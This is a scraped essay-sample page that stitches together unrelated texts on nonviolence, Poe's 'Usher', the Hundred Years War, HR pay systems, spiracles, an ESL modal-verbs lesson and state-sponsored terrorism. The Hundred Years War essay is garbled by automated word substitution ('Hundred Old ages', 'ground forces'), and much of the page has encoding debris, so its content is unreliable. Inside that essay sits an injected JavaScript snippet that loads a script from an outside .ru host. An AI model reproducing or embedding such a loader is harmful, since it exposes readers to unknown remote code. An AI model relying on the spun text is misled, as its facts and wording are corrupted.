Free Narrative Essays - Why Cant We All Just Get Along

nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp; I recall an incident back in my elementary school days, when I was on the playground during an afternoon recess.nbsp; My friends and I were intensely involved in a emotional game of basketball.nbsp; I had been playing miserably, so after my fourth brick,nbsp; I spiked the ball, super bowl touchdown style against the solid pavement. It began a long process of ricocheting off the walls of the coverd area and amidst its air born flight it somehow managed to collide with the jawbone of a rather thuggish looking 5th grader. At this time, an ominous dark cloud of rage began spouting from the disgruntled upperclassmens nostrils.nbsp; A large crowd began†¦show more content†¦The practicalnbsp; thing to do is to reach fornbsp; a bucket filled with water, not for a flamingnbsp; torch. nbsp; nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp; History has shown us clear instances whichnbsp; support my beliefs. For example, take the black civil rights movement where a young Baptist minister named Martin Luther King lead a nonviolent protest.nbsp; Martin did many things to reach his goal but he did not raise a fist at his enemies. As a result many laws were changed without a single gun, knife or grenade. Around the time when Martin Luther King was making his mark,nbsp; another young black man with similar hopes had set out on his own quest to free his people ofnbsp; the unjust rules of white America .nbsp; Unlike King, this man thought the only way to achieve his peoples desires was in a violent manner. Malcolm X was this man. Althoughnbsp; he was a great leader, he did not achieve Kings results. nbsp; nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp; The point that this historical example proves is that, two menShow MoreRelatedFrancis Bacon : An Essay3660 Words   |  15 Pagesword essay means the action or process of trying to test. Looking back through history, a man name Francis Bacon was the first person to write The Twoo Bookes of Francis Bacon: Of The Profiecience and Advancement of Learning, Divine and Humane, an essay, with the first book, written about the significance of learning every field of life and the second part written about the lack of human knowledge and suggestions for improvement. After this successful period of Bacons’, more and more essays wereRead MoreDescriptive Analysis6093 Words   |  25 PagesDescriptive Analyses of the Essays and Short Stories Narration and Description THE STRATEGIES Although the narrative and descriptive essays are often given as separate assignments in composition courses, they are combined in this first section so that teachers can present expressive writing and still reserve time for the many forms of informative and argumentative writing. This choice is tricky because it confirms the folk wisdom about expressive writing and rhetorical difficulty. According toRead MoreInterpretation of the Text13649 Words   |  55 Pagesfictional world of a literary work Literature is writing that can be read in many ways. We can read it as a form of history, biography, or autobiography. We can read it as an example of linguistic structures or rhetorical conventions manipulated for special effect. We can view it as a material product of the culture that produced it. We can see it as an expression of beliefs and values of a particular class. We can also see a work of literature as a selfcontained structure of words - as writing thatRead MoreOmnivores Dilemma 5066 Words   |  21 Pagesdiscussion about it, students will identify why and how farming practices have changed, as well as identify Pollan’s point of view on the subject. When combined with writing about the passage and teacher feedback, students will begin to appreciate investigative journalism, as well as question from where their food is coming. Reading Task: Students will silently read the passage in question on a given day—first independently and then following along with the text as the teacher and/or skillfulRead MoreLiterary Analysis on the Book of Job3072 Words   |  13 PagesJob: An Examination Of all of the stories, fables, proverbs, and histories of the Bible, The Book of Job is one of the most compelling due to its unique literary style and the complex treatment of the issue of suffering. Unlike other books of the Bible, The Book of Job details a conflict between man and God within a poetic structure, and is the only book in the Bible to take on the problem of suffering as its main purpose. Throughout the book, Job pleads to God for all of the misfortunes thatRead MoreEssay about Happy Endings True Love8166 Words   |  33 Pages `Boy meets girl, boy loses girl, boy gets girl... organises, indeed constitutes, the classical American cinema as a whole. -Raymond Bellour (Bellour, 1974, 16) You dont want to be in love - you want to be in love in a movie. -Becky, Sleepless in Seattle Reality and love are almost contradictory to me. -C#233;line, Before Sunset This essay is primarily concerned with the concept of the Hollywood romance happy ending. On a broader scale, it is also concerned with addressingRead MoreA Comparison of the Establishment of Genre and Narrative in Two Crime Films2370 Words   |  10 PagesA Comparison of the Establishment of Genre and Narrative in Two Crime Films In this essay I will compare how genre and narrative are established in 2 crime films. The main iconography of this genre is fairly easy to identify; props such as guns, latex gloves, sirens, rain are used frequently in Hollywood crime films such as Se7en (1995). The conventions of this genre are also fairly easy to recognise: detectives with long trench coats, the killer being the least likely Read MoreSocial Media Has Changed The Expectations Of Social Relationships2057 Words   |  9 Pagesthat they would otherwise have no contact with. For this topic, it is important to define what ‘friendship’ really means. Some have argued that a friend is someone they talk with; others say it’s someone they’ve shared an experience with. For this essay, friendship will be defined as someone who is kept in constant contact with through and outside of the internet. The majority of effects seen from technology are negative: from decreased in-person social interactions, to loss of identity, and ultimatelyRead More The Death of the ‘Authorlessness Theory’? Essay6470 Words   |  26 Pagescirculation, and functioning of certain discourses within a society† where ownership and the importance of the individual are stressed (202). Now that the author has been defined, can it be shocking to learn that â€Å"some four hundred women and men from all walks of life† contributed to The Dinner Party, but it was credited to Judy Chicago (Jones, 68)? The Dinner Party, first exhibited in San Francisco in 1979, was a massive multimedia display composed of tables (that together formed aRead More A Rebuttal to E. R. Dodds On Misunderstanding the Oedipus Rex2978 Words   |  12 Pages-- that Oedipus actions are entirely determined by the gods, who control him completely -- Dodds pooh-poohs on the grounds that Oedipus is a free agent, acting on his own initiative. In fact, Dodds states, the idea of free will vs. determinism is a Hellenistic thought and would not have even occured to an audience of Sophocles time. I believe that, as all of Oedipus actions, including those over the course of the play, were determined before his birth, and he cannot avoid them although it is his

The Fall Of The House Of Usher By Edgar Allan Poe - 956 Words

In Edgar Allan Poe’s â€Å"The Fall of the House of Usher,† the narrator is perpetually conscious of his physical location within the House of Usher, and describes the story’s actions in relation to the setting and location in which they occur. Moreover, the narrator is particularly attentive to the characters’ movements, and the ways in which Roderick, Madeline, and he move from one space to another. However, this movement ultimately occurs in one direction, as the characters delve deeper into the labyrinthine mansion until they reach Madeline’s tomb. However, as the setting becomes increasingly interiorized, outside spaces nonetheless attempt to disrupt this interiority, using liminal spaces such as windows and doors that undermine the immovable and domineering walls in the house. Likewise, those on the inside display an equal desire to force their way out, and thus perpetuate this conflict between inside spaces and outside spaces. Furthermore, th e characters’ desires to free themselves from the house’s interiority ultimately reflect their struggle to escape their subconscious minds and reconnect with reason. The ways in which outside forces attempt to penetrate the mansion’s suffocating and confining atmosphere thus symbolize the conscious mind’s attempt to hold onto reality in the face of madness. The narrator’s contrasting descriptions of the mansion and its surrounding landscape particularly demonstrate the conflict between inside and outside spaces.Show MoreRelatedThe Fall Of The House Of Usher By Edgar Allan Poe1570 Words   |  7 Pagesingenious Edgar Allan Poe. A prime example of Poe’s spectacular work with single effect would be in the classic short story â€Å"The Fall of the House of Usher† which was published in 1839 and holds much critical acclaim. In the story, the narrator visits an old, mentally disintegrating friend and his dying sister in a house that invoke s anxiety with mere proximity. While the whole tale is wrought with single effect, the most defining creepiness of the story was brought to life through Roderick Usher. ThroughRead MoreThe Fall Of The House Of Usher By Edgar Allan Poe Essay1333 Words   |  6 PagesEdgar Allan Poe is known for his poetry and short stories especially his tales of mystery and morbidity he was one of the countries first practitioners of short stories such as the Fall in the House of Usher many of his poems and short stories is said to have been inspired by Poe’s real and tumultuous life, in â€Å"The Fall of the House of Usher† Edgar Allan Poe uses sound, feeling and sight imagery to create and explore an atmosphere of horror and to convey to the reader the idea that fear coalescedRead MoreThe Fall Of House Of Usher, By Edgar Allan Poe1603 Words   |  7 Pagesshown in the previous paragraphs of Cole and Poe, they are very different people who have had contrary life experiences . Yet th eir works are still very similar. To further prove my case I shall use some of their works as examples. Edgar Allan Poe s â€Å"The Fall of House of Usher† and Thomas Cole s â€Å"Vesper Hymn† will be the first two works of art that are comparable. Poe s â€Å"The Fall of House of Usher† possesses all of the Gothic elements like a haunted house, dreary landscape, unknown sickness, andRead MoreThe Fall of the House of Usher by Edgar Allan Poe1438 Words   |  6 PagesThe Fall of the House of Usher by Edgar Allan Poe The mind is a complicated thing. Not many stories are able to portray this in such an interesting manner as in Edgar Allan Poes The Fall of the House of Usher. The haunting story of a man and his sister, living in the old family mansion. But as all should know, much symbolism can be found in most of Poes works. The Fall of the House of Usher is no exception. First of all, we have the symbolisme of Roderick Ushers mind and the House ofRead MoreThe Fall of the House of Usher by Edgar Allan Poe668 Words   |  3 PagesThe Fall of the house of Usher Literary Analysis A â€Å"Royal house† refers to the Royal family’s members. The house becomes a representation of the family as the reputation of the house relies on the family’s actions and status. The Usher family was at one time a great family in the upper tier of society which is why they titled their family and home â€Å"the house of Usher.† Edgar Allan Poe uses this symbol to draw in the reader by giving the house of Usher human like characteristics similar to Lady MadelineRead MoreThe Fall Of The House Of Usher By Edgar Allan Poe1216 Words   |  5 PagesEdgar Allan Poe is a famous short story writer who writes many short stories, novels, and poems in the 19th century. Although he is obviously a very prolific writer, he is most famous for his macabre literature. This literature of his is best known for its melancholy descriptions that establish a setting and mood that contribute to the overall tale. Poe’s goal through his literature is to evoke horror into the reader’s mind. In â€Å"The Fall of The House of Usher,† Poe presents the demise of a distinguishedRead MoreThe Fall of the House of Usher by Edgar Allan Poe946 Words   |  4 PagesEdgar Allan Poe is known for the suspenseful and mysterious nature in his short stories, and to achieve this he uses repetitive symbolism. In the â€Å"Fall of the House of Usher†, the narrator gets a letter from an old friend saying that he needs his help. When he arrives he starts to hear voices that eventually cause the house to fall and results in the death of usher and Madeline. Poes â€Å"The fall of the House of Usher† portrays a melancholy setting and utilizes a motif of the supernatural, howeverRead MoreThe Fall Of The House Of Usher By Edgar Allan Poe896 Words   |  4 PagesEdgar Allen Poe is well-known for his frightening and disturbing short stories. He portrays his characters in unforeseen circumstances that create an eerie atmosphere, and this then leads t o unsettling actions. In his famous short story, The Fall of the House of Usher, Edgar Allan Poe utilizes dark mood, dreary allegory, and mysterious symbolism to create the thrill and suspense. The mood of the characters set the intensity of fear and gloom, while the story of the Ushers follows psychologicalRead MoreThe Fall Of The House Of Usher By Edgar Allan Poe1159 Words   |  5 Pagesâ€Å"The Fall of the House of Usher† â€Å"The Fall of the House of Usher† by Edgar Allan Poe is an ominous tale, told in retrospect, of a man who visited an old friend, Roderick Usher, who was dying of a mental illness. This visit was quite different then how the narrator believed it would be. The narrator explained the â€Å"insufferable gloom† he felt when he saw the mansion, and this dreary feeling only grew stronger the longer he stayed (Poe 1265). The narrator endured the bleak time with his old friend whoseRead MoreThe Fall Of The House Of Usher By Edgar Allan Poe1104 Words   |  5 PagesThe Fall of the House of Usher Edgar Allan Poe is best known for his unnerving and suspenseful writings, and â€Å"The Fall of the House of Usher† is no exception. Just like Poe’s other clever writings, â€Å"The Fall of the House of Usher† portrays a sense of fear and paranoia yet also a touch of curiosity with his extraordinary descriptions about the setting and characters, along with the tone. Poe does a magnificent job creating an eerie tone while describing the setting. Even in the first paragraph of

The Hundred Years War Essay Research Paper free essay sample

The Hundred Old ages? War Essay, Research Paper The Hundred Old ages? War was a war between England and France in which France defended its? crown against British regulation. This war had many effects on the people of each state. The beginning of the war goes back to the conquering of William for England. In 1066 William, the Duke of Normandy, led an ground forces into England. He won this conflict and became the male monarch of England. This was possible under feudal system. Feudalism is a signifier of societal categorization in which the members of an upper category are granted fifes, or pieces of land, by higher ranking Lords return for their military service. The liege, the individual having the land, had to travel through ceremonial in which they would state that they would be faithful to their master and battle for them if needed. In return the master would protect the liege ( Lace 12 ) . We will write a custom essay sample on The Hundred Years War Essay Research Paper or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page Many old ages subsequently Isabella, the married woman of King Edward II of England, plotted to kill Edward II doing her boy Edward III male monarch ( Lace 12 ) . Because Edward III was really immature she would be able to govern the state through him. Edward II sent his boy and Isabella to pay court to Charles IV in 1325 for Gallic land that Edward II owned. Isabella took her lover, Roger de Mortimer, with them and while there they began to do their programs. After court is paid to Charles IV the three went to Hainault. While at that place Isabella and Mortimer convinced the Count of Hainault, William, to assist them subvert the male monarch. In 1327, with the aid of William? s military personnels, Isabella and Mortimer successfully overthrew Edward II and made Edward III male monarch. During their overthrow, King Charles IV of France, Isabella? s brother, died. When he died he had no kids to go forth the throne to, but his married woman Jeanne was pregnant. When she gave birth though she had a abortive girl. This enabled Charles? cousin, Philip of Valois, male monarch. Some of the people objected. Some thought that since Isabella was his sister she was closer to the throne than Philip and that she should be queen. Others thought that since Edward was his nephew he should be king, but the bulk of the Gallic were against Edward going their male monarch ( 14 ) . Philip was favored for many grounds: He was older: Philip was 35 and Edward was 15, Edward was under the control of his female parent and Mortimer ; Edward was a good known warrior, and Edward was considered a alien ( 14 ) . Edward so decided that he was tired of being controlled. On October 19, 1330, Edward gathered a little ground forces together and split into Isabella and Mortimer? s sleeping room. He seized Mortimer and hung him the following forenoon. He left Mortimer? s organic structure hanging for 2 yearss and darks. Isabella was treated more carefully. She was imprisoned and confined to several palaces for life ( 16 ) . In 1337 Edward III would return to France to claim what he felt what was truly his. ( Time Life 17 ) . On October 19, 1337, Edward III drafted a papers to Philip of Valois that said that Edward was the rightful male monarch of France and that Edward would no longer pay court to Philip of the Gallic lands that he owned. This missive was given to him by Henry Burghersh, the bishop of England. Philip merely sat back and smiled and prepared for war ( Time Life 17 ) . Edward drafted this papers because he disagreed with the manner that Philip was governing the land that he owned. There were dukes and Godheads appointed by Philip to govern over the lands of Edward III. Edward wanted to govern them himself. The two tried to work out their differences, but failed. This state of affairs was made more awkward because of other economic jobs between the 2 states. England and France depended on each other. France was England? s chief provider of salt and France depended on England for wool. English besides held the port at Bordeaux in France enabling them to command transit along the English Channel. Philip of Valois wanted to command the sea traffic so he began to organize links with Scotland, England? s hostile neighbour. England and Scotland were non on good footings with one another and had been contending since the 1290? s ( 19 ) . In 1314 the English, under Edward II lost to the Scottish at Bannockburn. Edward III made a pact with the Scottish in 1328 but intervened in 1329 when their leader Robert Bruce, died. The English so deposed David II, Bruce? s boy and the new male monarch. To assist organize a bond with the Scottish the Philip gave David shelter in France ( Lace 18 ) . Edward III got his retaliation on the Scottish in 1332. He got a little group of Scots Rebels together and after winning a series of major conflicts named Edward Baliol their leader. Baliol acknowledged Edward III as his master. The Scots chased Baliol over the Scots boundary line in December. Edward marched north and surrounded them at Berwick. The Scots sent an ground forces, but Edward defeated them at Halidon Hill in July,1334 ( Lace 18 ) . Philip of Valois so moved some of his ships from Mediterranean ports to a seaport at Normandy. Edward III saw these ships and thought that this was an attempted onslaught on him. He challenged Philip to a conflict in 1337, but Philip declined ( Time Life 20 ) . As the war began both sides had distinguishable advantages and disadvantages. The Gallic were backed by plentiful material resources such as a wide fertile land, 21 million people, and many mountains every bit good as fields ( Lace 21 ) . The English were backed by the trueness of Edward? s Lords and he was besides able to acquire parliament to raise revenue enhancements to fund the war. France was plagued by the deficiency of political and fiscal support accompanied by the inability to raise revenue enhancements. Philip was afraid that the people of Ypres, Ghent, and Bruges would declare Edward their male monarch because they depended on English wool to maintain their economic system running. The English? s jobs were that they were much poorer than France and that with a population 1/4 the size of France they would hold a much smaller army.Farmland was besides a job because it was merely good in the E ( Time Life 21 ) . gt ; The two societal categories of the two states were really similar with merely one distinct difference which Edward opposed. Both had a big rural peasantry with free renters and helot. The renters and helot lived on the farming area that they farmed which was owned by Nobels. In the towns there were many craftsmans merchandisers and clerks on the streets. These were considered the in-between category people. The Lords were separated into two categories. The first category was made up of lesser Godheads who owned little estates and had local powers. The higher nobility was made up of the little elite. These were dukes, earls, counts, and princes of lands. The difference began here. In England there was a individual authorities that was involved in regulating the whole land. In France the authorities was divided and counts or dukes were assigned to govern over certain countries of the land ( Lace 24 ) . In 1339 Edward began conflict. He sent a little ground forces to Flanders to seek to arouse Philip? s military personnels. He so went south and began a besieging butchering farm animal, firing harvests and small towns, and killing people. He besides began the usage of a chevauchee which literally means, ? run through on horesback. ? These were intended to do people sick of war and weaken the local authorities. The Gallic marched north and met the English near St. Quentin. Edward challenged Philip there and Philip agreed, but merely if Edward could happen a battlefield without trees in the manner. Philip subsequently changed his head though and backed down. This made Edward mad because it was a waste of clip and money ( Lace 30 ) . On June 24, 1340, the English sailed toward France. They turned around, but the Gallic chased them. Because the seaport was so narrow the two fleets ran into each other. The English scheme was to crash into the Gallic boats and attach themselves utilizing coping maulerss and so teem aboard. The English used pointers against the Gallic and were the first to kill off a big figure of people. This conflict, at Sluys, was the English? s foremost major triumph. After this the English were out of money and signed a armistice ( Lace 33 ) . During this armistice civil war was taking topographic point in Brittany over its countship. King Philip? s niece Jeanne of Blois, and John of Montfort both claimed the countship. John fled to England and acknowledged Edward as the male monarch of France in exchange for his support. In 1342 Edward began a chevauchee with 12,000 work forces, but Pope Benedict intervened in 1343 and persuaded Philip and Edward to subscribe a armistice. The countship still stood unresolved though and in 1345 Edward resumed the war catching the Gallic by surprise. Edward had Philip? s boy, John, lead an ground forces against Jeanne and won ( Lace 34 ) . The following major conflict was fought at Crecy on August 26, 1346. The Gallic outnumbered the English and fought on horseback. They besides wore armour and used spears and hired Genoese crossbowmen to contend for them. The English ground forces was made up largely of Yeomans on pes that fought with longbows. Crecy besides became the first conflict to utilize gunpowder ( Miller 305 ) . Edward strategically placed his ground forces on a hill between a forrest and a river coercing Philip to near him from merely one way. Philip chased after him but was tired and decided to rest. Late in the afternoon Philip realized this was his opportunity and ordered an onslaught. He ordered the hired Genovese crossbowmen to continue in forepart of the ground forces. They did, but the English began to fire back. The crossbowman attempted to withdraw and ran back toward the Frenchmen. Philip ordered his ground forces to hit them and the Gallic so charged the English ground forces. Many were killed by the English work forces at weaponries who were on pes and armed with axes and blades. The French ended up bear downing the English 16 times before Philip realized that merely 60 of his military personnels remained. He so retreated to his palace ( Lace 37 ) . The English did non recognize the extent of their triumph until the following forenoon. When the count was taken the English had lost fewer than 100 work forces, but the Gallic had lost more than 10,000 common soldiers and more than 1,500 knights and Lords including King John of Bohemia, the Duke of Lorraine, the Duke of Alencon, and the Count of Flanders ( 38 ) . The following major conflict was at Calais on August 3,1347 ( Miller 1 ) . Edward tried to besieging Calais, but Jeanne de Vienne, the metropolis? s commanding officer, held out in hopes that Edward would withdraw to England in the winter. Edward did non. Alternatively Edward built log huts to live in outside the metropolis walls. To back up his military personnels financially he set up a market and sold supplies to local husbandmans. While in France Edward heard about an attempted invasion by King David of Scotland. It was unsuccesful and David was captured at Neville? s Cross. Calais was get downing to run out of nutrient because the metropolis was surrounded ( Lace 39 ) . In early 1347 Vienne sent out 500 people because he was no longer able to feed them. The English would non allow them through though. Philip finally showed up to support Calais in July. Philip sent Edward a challenge, but edward refused because he felt he had the metropolis secured. Philip so left the town to its ain destiny. The following twenty-four hours Jeanne de Vienne rode out of town giving up his blade and the keys to the metropolis ( Lace 40 ) . Between the old ages of 1348 and 1350 the Balck decease invaded Europe. This atrocious disease was spread by septic rats and fleas and killed 1/4 to 1/3 of the population of Europe. Although the disease was most normally found among the hapless in over populated metropoliss Edward III? s daughterJoan died from it in Bordeaux. This caused a immense shortage in soldiers and caused the war to come to a base still for five old ages ( Lace 41 ) . In 1349 a secret plan to recapture Calais was discovered. The force was rapidly put down by a little English ground forces. In 1350 Edward led an English fleet against the Spanish from Castille and won. This would be edward? s last triumph and major conflict. He turned over his powers to his boy Edward the Black Prince merely two hebdomads before Philip of Valois died ( Lace 42 ) . ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

The Competitive Edge Of New Pay Systems Essays -

The Competitive Edge Of New Pay Systems The competitive edge of new pay systems The United States has been in an economic boom for the last eight years. One of the results of this economic expansion is the low unemployment rate. The unemployment rate is below five percent, and in some regional labor markets even lower than that! This figure holds steady across all labor markets (with the exception of the high technology sector, which has so few available workers, it has been lobbying congress to raise the limits on non-U.S. citizens working in the United States). A Company can no longer offer mediocre benefits and sub-par working conditions while expecting to retain top quality employees. For Human Resource professionals, this challenge is worthy of study. The general trends in pay are to provide not only a fair salary, but also providing added benefits like flextime and strong medical benefits. Incentive pay and pay-for-performance is on the rise. The more important emerging question is how does the HR professional implement compensation plan that rewards the employee who is going above and beyond, while at the same time improving the performance of an employee not doing as well? Performance appraisal is a topic that has been around for quite some time; however, employees are not too happy with the current state of affairs when it comes to appraisals. (Davis and Landa, 1999 p 18) The old way of appraising employees with a paper intensive and top down orientation in communication are falling by the wayside. Appraisals that allow customers, employees and managers to rate each other are becoming more and more popular. Companies like Disney and Honda are installing appraisal systems that do just that. Human resource professionals are learning how to leverage technology to assist their organizations in being able to appraise performance in just such a way. Otis Elevator Corporation was able to do just that by leveraging its existing investment in technology (specifically the internet and its own intranet) and using a third party to bring a sense of trustworthiness to the process. For Otis elevator using a contractor also meant that performance evaluation would be administered by an objective third-partyManagers only trust it if they are confident of its objectivity and confidentiality. A third-party system has obvious advantages in these respects. (Huet Cox et al. May 1999 p. 94) The level of consensus at Otis is very high that it is a program that works. It actually can help shape behavior in a positive way. There are a host of companies introducing off the shelf software products to help a company install and maintain an appraisal process that can be trusted by all the participants as well as improving behavior through the appraisal system. If an employee knows that she or he is going to be rated not only by their manager, but also their peers and customers, they may begin to see areas in their own behavior they can improve upon. Using an intranet and the Internet is defiantly the state of at in this area. This is partly due to the fact that most companies did not have connection to the Internet, as well as a sophisticated enough intranet system to help with the appraisal process. As more and more companies are investing in these technologies, more and more of them will see the benefit in using the intranet as a communication tool. My organization does not do these things particularly well. However, all the pieces are in place for some type of similar appraisal process to be implemented. We regularly survey our customers (the students) and we have an intranet already set up. Currently, their manager gives the employees of the University of Phoenix an appraisal twice a year, although it is no longer tied to pay. If we could combine the information we already have at hand, and use it to get more accurate appraisals and a better understanding of where to improve our behavior, I think we all would be more satisfied. Business Reports

Spiracles Aid in Breathing on Fish, Whales, and Insects

Spiracles Aid in Breathing on Fish, Whales, and Insects Spiracles are breathing openings found on the surface of insects, certain  cartilaginous fish  such as certain species of  sharks, and stingrays. Hammerheads and  chimeras dont have spiracles. In fish, spiracles are composed of a pair of openings just behind the fishs eyes that allow it to draw oxygenated water in from above without having to bring it in through the gills. The spiracles open into the fishs mouth, where water is passed over its gills for gas exchange and out of the body. Spiracles aid fish in breathing even when they are lying on the ocean bottom or when theyre buried in the sand.   Evolution of Spiracles Spiracles likely evolved from gill openings. In primitive jawless fish, spiracles were simply the first gill openings behind the mouth. This gill opening eventually separated as the jaw evolved out of the structures between it and the other gill openings. The spiracle remained as a small, hole-like opening in most cartilaginous fish. Spiracles are useful for the types of rays that bury themselves in the ocean bottom because they allow them to breathe without the aid of exposed gills. Primitive bony fish with spiracles include the sturgeon, paddlefish, bichirs, and coelacanth. Scientists also believe  that spiracles are associated with the hearing organs of frogs and some other amphibians. Examples of Spiracles Southern stingrays  are sand-dwelling sea animals that use their spiracles to breathe when they are lying on the ocean bottom. Spiracles behind the rays eyes draw in water, which is passed over the gills and expelled from its gills on its underside.  Skates, cartilaginous fish  that have a flat body and wing-like pectoral fins attached to their head, and stingrays sometimes use spiracles as their primary method of breathing, bringing oxygenated water into the gill chamber where it is exchanged for carbon dioxide. Angel sharks are large, flat-bodied sharks that bury themselves in the sand and breathe through their spiracles. They lie in wait, camouflaged,  for fish, crustaceans, and mollusks and then lunge to strike and kill them with their jaws. By pumping water in through their spiracles and out through their gills, these sharks can absorb oxygen and eliminate carbon dioxide without constantly swimming, as more mobile sharks must do. Insects and Animals  With Spiracles Insects have spiracles, which allow air to move into their tracheal system. Since insects dont have lungs, they use spiracles to  exchange oxygen and carbon dioxide  with the outside air. Insects open and close their spiracles through muscle contractions.  Oxygen molecules then travel via the insects tracheal system. Each tracheal tube ends with a tracheole, where the oxygen dissolves into the tracheole fluid. The O2  then diffuses into the cells. The blowhole of the  whale  is also sometimes called a spiracle in older texts. Whales use their blowholes to take in the air and dispel carbon dioxide when they surface. Whales have lungs like other mammals rather than gills like fish. They have to breathe air, not water.

Have to and Must - ESL Grammar Lesson Plans

Have to and Must - ESL Grammar Lesson Plans Many students often confuse the usage of the modals must and have to. While meaning is generally maintained in incorrect usage in the positive forms, a mix-up in the negative forms can cause confusion. This lesson uses daily routines and an interviewing game to help students master these important modal forms. Aim: Learn the modal forms have to and must Activity: Grammar introduction/review, talking about daily routines and interview game Level: Lower levels Outline: Ask students to talk about their daily routines. Have them make a list of five things that they have to do every day.Introduce the grammar by having the students take a look at the grammar sheet below.Discuss the differences between have to and must in the positive form. Make sure to point out that have to is used for daily routines while must is used for strong personal obligation.Discuss the differences between dont have to and mustnt. Make sure to stress the idea that dont have to expresses the idea that the person isnt required to do something but may do so if he/she would like while mustnt expresses the idea of prohibition.In order to encourage students to favor the use of have to, spend the rest of the lesson focusing on daily responsibilities in the following exercises.Ask students to take out the list they created earlier and re-write the list using have to.Ask students to choose a job from the list provided (you might want to first check that students are familiar with the j obs listed) and think about what a person working in that profession has to do. Once you have given students a chance to think a while, play a variation on the 20 questions game. You can begin by choosing a profession and having students ask you 10 or 15 questions about what you have to do in this job. Questions can only be answered by yes, no or sometimes.The student who guesses the name of your profession should be the next to be asked the 15 questions. Another variation on this game is for students to play the game in pairs. Have to - Must Study the Use of Have to and Must in the Chart Below Must/Have To - Mustnt/Not Have To Listed below are examples and uses of must/have to/mustnt/not have to Example Chart Examples Usage We have to get up early.She had to work hard yesterday.They will have to arrive early.Does he have to go? Use have to in the past, present, and future to express responsibility or necessity. NOTE: have to is conjugated as a regular verb and therefore requires an auxiliary verb in the question form or negative. I must finish this work before I leave.Must you work so hard? Use must to express something that you or a person feels is necessary. This form is used only in the present and future. You dont have to arrive before 8.They didnt have to work so hard. The negative form of have to expresses the idea that something is not required. It is, however, possible if so desired. She mustnt use such horrible language.Tom. You mustnt play with fire. The negative form of must expresses the idea that something is prohibited - this form is very different in meaning than the negative of have to! Did the have to leave so early?He had to stay overnight in Dallas. IMPORTANT: The past form of have to and must is had to. Must does not exist in the past. Choose a profession from the list below and think about what a person doing that job has to do every day. Professions and Jobs - What do they have to do? accountant actor air steward architect assistant author baker builder businessman / businesswoman / executive butcher chef civil servant clerk computer operator / programmer cook dentist doctor driver bus / taxi / train driver garbageman (refuse collector) electrician engineer farmer hairdresser journalist judge lawyer manager musician nurse photographer pilot plumber police officer politician receptionist sailor salesman / saleswoman /salesperson scientist secretary soldier teacher telephone operator Back to lessons resource page

State sponsors of Terrorism Essay Example | Topics and Well Written Essays - 500 words

State sponsors of Terrorism - Essay Example Terrorists become more active and powerful because of state support to them. The motivation and support they get from state sponsorship results in increasing the threat of deadly terrorist attacks on civilians, military forces, and infrastructure. State-sponsored terrorism does not have any particular form. At one end, a state can make use of its intelligence agencies to carry out terrorist attacks on some other country either because of grudges between the two states or because of the intent to destabilize the victim state. On the other end, a state can become a safe corner or safe home for the terrorists from where they can hide after carrying out terrorist attacks on the neighboring countries. Some states even fund the terrorist groups operating in other countries to keep them carry out their criminal activities. Their intent is to weaken the political and military base of the victim state. Some states use their own forces against a particular group of people to suppress their voice and rights. This is also a type of state sponsored terrorism. For example, use of force against Kurds by former Iraqi President Saddam Husain can be termed as state sponsored terrorism (Grothaus, n.d.). Let us take some examples of active and passive state sponsored terrorism in order to clarify the evident and hidden roles of states in promoting terrorism. The first example of active state sponsored terrorism is that of Syria’s development and control of a terrorist group named Al-Saiqa. This terrorist group was based in Palestine and Syria directly and openly controlled this group to tackle the influence of Yasir Arafat who was the most prominent leader of Palestine. Another active state sponsored terrorist example is of Pakistan’s support to the militant groups operating Kashmir against Indian forces. Pakistan provides funds and training to these groups using which they carry out attacks on Indian forces. Their main